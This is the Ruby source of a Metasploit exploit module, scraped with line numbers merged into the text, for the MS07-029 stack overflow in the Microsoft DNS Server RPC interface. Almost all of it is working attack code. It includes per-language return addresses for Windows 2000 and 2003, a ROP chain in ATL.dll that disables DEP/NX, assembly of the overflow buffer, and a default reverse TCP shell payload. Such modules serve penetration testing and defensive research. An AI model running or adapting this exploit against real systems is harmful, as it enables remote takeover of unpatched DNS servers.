Path: blob/master/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::DCERPC910def initialize(info = {})11super(12update_info(13info,14'Name' => 'MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)',15'Description' => %q{16This module exploits a stack buffer overflow in the RPC interface17of the Microsoft DNS service. The vulnerability is triggered18when a long zone name parameter is supplied that contains19escaped octal strings. This module is capable of bypassing NX/DEP20protection on Windows 2003 SP1/SP2.21},22'Author' => [23'hdm', # initial module24'Unknown', # 2 unknown contributors (2003 support)25'bcoles' # additional target offsets26],27'License' => MSF_LICENSE,28'References' => [29['CVE', '2007-1748'],30['OSVDB', '34100'],31['MSB', 'MS07-029']32],33'Privileged' => true,34'DefaultOptions' => {35'EXITFUNC' => 'thread',36'PAYLOAD' => 'windows/shell/reverse_tcp'37},38'Payload' => {39'Space' => 500,4041# The payload doesn't matter, but make_nops() uses these too42'BadChars' => "\x00",4344'StackAdjustment' => -3500,4546},47'Platform' => 'win',48'Targets' => [49[ 'Automatic (2000 SP0-SP4, 2003 SP0-SP2)', {} ],5051# p/p/r WS2HELP.DLL52[ 'Windows 2000 Server SP0-SP4+ English', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x75022ac4 } ],53[ 'Windows 2000 Server SP0-SP4+ French', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],54[ 'Windows 2000 Server SP0-SP4+ German', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74f92ac4 } ],55[ 'Windows 2000 Server SP0-SP4+ Italian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],56[ 'Windows 2000 Server SP0-SP4+ Polish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fb2ac4 } ],57[ 'Windows 2000 Server SP0-SP4+ Portuguese', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],58[ 'Windows 2000 Server SP0-SP4+ Korean', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74f92ac4 } ],59[ 'Windows 2000 Server SP0-SP4+ Russian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fb2ac4 } ],60[ 'Windows 2000 Server SP0-SP4+ Simplified Chinese', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],61[ 'Windows 2000 Server SP0-SP4+ Spanish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],62[ 'Windows 2000 Server SP0-SP4+ Swedish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],63[ 'Windows 2000 Server SP0-SP4+ Traditional Chinese', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],64[ 'Windows 2000 Server SP0-SP4+ Turkish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fc2ac4 } ],6566# Use the __except_handler3 method (and jmp esp in ATL.dll)67[ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34, 0x77f7e7f0, 0x76a935bf] } ],68[ 'Windows 2003 Server SP0 French', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f35a34, 0x77f6e7f0, 0x76a435bf] } ],6970# ATL.DLL (bypass DEP/NX, IB -> Image Base of ATL.dll)71[ 'Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 } ],72[ 'Windows 2003 Server SP1-SP2 French', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],73[ 'Windows 2003 Server SP1-SP2 Spanish', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],74[ 'Windows 2003 Server SP1-SP2 Italian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],75[ 'Windows 2003 Server SP1-SP2 German', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],76[ 'Windows 2003 Server SP1-SP2 Russian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x769a0000 } ],77[ 'Windows 2003 Server SP1-SP2 Simplified Chinese', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x769c0000 } ],78],79'DisclosureDate' => '2007-04-12',80'DefaultTarget' => 0,81'Notes' => {82'Reliability' => UNKNOWN_RELIABILITY,83'Stability' => UNKNOWN_STABILITY,84'SideEffects' => UNKNOWN_SIDE_EFFECTS85}86)87)8889register_options(90[91Opt::RPORT(0),92OptString.new('Locale', [ true, "Locale for automatic target (English, French, Italian, ...)", 'English'])93]94)95end9697def gettarget(os)98targets.each do |target|99if ((target['OS'] =~ /#{os}/) && (target.name =~ /#{datastore['Locale']}/))100return target101end102end103104return nil105end106107def exploit108# Ask the endpoint mapper to locate the port for us109dport = datastore['RPORT'].to_i110111if ((dport != 0) && (target.name =~ /Automatic/))112print_error("Unable to use automatic targeting when RPORT is given");113return114end115116if (dport == 0)117118dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp')119120if (not dport)121print_error("Could not determine the RPC port used by the Microsoft DNS Server")122return123end124125print_status("Discovered Microsoft DNS Server RPC service on port #{dport}")126end127128mytarget = nil129130if (target.name =~ /Automatic/)131132# scheduler service is only available on 2k3 SP0 and 2000133schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '1ff70682-0a51-30e8-076d-740be8cee98b', '1.0', 'ncacn_ip_tcp')134135if (not schedport)136print_status("Detected a Windows 2003 SP1-SP2 target...")137mytarget = gettarget('2003SP12')138else139# only available on 2003 SP0140schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53', '1.0', 'ncacn_ip_tcp')141142if (not schedport)143print_status("Detected a Windows 2000 SP0-SP4 target...")144mytarget = gettarget('2000')145else146print_status("Detected a Windows 2003 SP0 target...")147mytarget = gettarget('2003SP0')148end149end150151if (not mytarget)152fail_with(Failure::NoTarget, "There is no available target for '#{datastore['LOCALE']}' locale")153end154else155mytarget = target156end157158# Connect to the high RPC port159connect(true, { 'RPORT' => dport })160print_status("Trying target #{mytarget.name}...")161162# Bind to the service163handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp', [datastore['RPORT']])164print_status("Binding to #{handle} ...")165dcerpc_bind(handle)166print_status("Bound to #{handle} ...")167168# Create our buffer with our shellcode first169txt = Rex::Text.rand_text_alphanumeric(8192)170171if (mytarget['OS'] =~ /2000/)172txt[0, payload.encoded.length] = payload.encoded173174off = mytarget['Off']175txt[off] = [mytarget.ret].pack('V')176txt[off - 4, 2] = "\xeb\x06"177txt[off + 4, 5] = "\xe9" + [ (off + 9) * -1 ].pack('V')178179elsif (mytarget['OS'] =~ /2003SP0/)180txt[0, payload.encoded.length] = payload.encoded181182off = mytarget['Off']183txt[off] = [mytarget['Rets'][0]].pack('V') # __except_handler3184txt[off - 4, 2] = "\xeb\x16"185186# addr = A + B*12 + 4 = 0x77f7e7f0 (ntdll -> 0x77f443c9)187addr = mytarget['Rets'][1] - 4188addr1 = addr / 2189addr2 = addr1 + addr % 2190addr1 = addr1 + (addr2 % 12)191addr2 = addr2 / 12192193txt[off + 4, 8] = [addr1, addr2].pack('VV') # A,B194195#196# then mov eax, [addr] sets eax to 0x77f443c9 and the code goes here :197#198# 0x77f443c9 jmp off_77f7e810[edx*4] ; edx = 0 so jmp to 77f443d0199# 0x77f443d0 mov eax, [ebp+arg_0]200# 0x77f443d3 pop esi201# 0x77f443d4 pop edi202# 0x77f443d5 leave ; mov esp, ebp203# 0x77f443d6 retn ; ret204205txt[off + 16, 4] = [mytarget['Rets'][2]].pack('V') # jmp esp206txt[off + 20, 5] = "\xe9" + [ (off + 23) * -1 ].pack('V')207208elsif (mytarget['OS'] =~ /2003SP12/)209off = mytarget['Off']210ib = mytarget['IB']211txt[off] = [ib + 0x2566].pack('V')212213# to bypass NX we need to emulate the call to ZwSetInformationProcess214# with generic value (to work on SP1-SP2 + patches)215216off = 445217218# first we set esi to 0xed by getting the value on the stack219#220# 0x76a81da7:221# pop esi <- esi = edh222# retn223224txt[off + 4, 4] = [ib + 0x1da7].pack('V')225txt[off + 28, 4] = [0xed].pack('V')226227# now we set ecx to 0x7ffe0300, eax to 0xed228# 0x76a81da4:229# pop ecx <- ecx = 0x7ffe0300230# mov eax, esi <- eax == edh231# pop esi232# retn233234txt[off + 32, 4] = [ib + 0x1da4].pack('V')235txt[off + 36, 4] = [0x7ffe0300].pack('V')236237# finally we call NtSetInformationProcess (-1, 34, 0x7ffe0270, 4)238# 0x7FFE0270 is a pointer to 0x2 (os version info :-) to disable NX239# 0x76a8109c:240# call dword ptr [ecx]241242txt[off + 44, 4] = [ib + 0x109c].pack('V') # call dword ptr[ecx]243txt[off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV')244245# we catch the second exception to go back to our shellcode, now that246# NX is disabled247248off = 1013249txt[off, 4] = [ib + 0x135bf].pack('V') # (jmp esp in atl.dll)250txt[off + 24, payload.encoded.length] = payload.encoded251252end253254req = ''255256# Convert the string to escaped octal257txt.unpack('C*').each do |c|258req << "\\"259req << c.to_s(8)260end261262# Build the RPC stub data263stubdata =264NDR.long(rand(0xffffffff)) +265NDR.wstring(Rex::Text.rand_text_alpha(1) + "\x00\x00") +266NDR.long(rand(0xffffffff)) +267NDR.string(req + "\x00") +268NDR.long(rand(0xffffffff)) +269NDR.string(Rex::Text.rand_text_alpha(1) + "\x00")270271print_status('Sending exploit...')272273begin274response = dcerpc.call(1, stubdata)275276if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)277print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])278end279rescue ::Exception => e280print_error("Error: #{e}")281end282283handler284disconnect285end286end287288289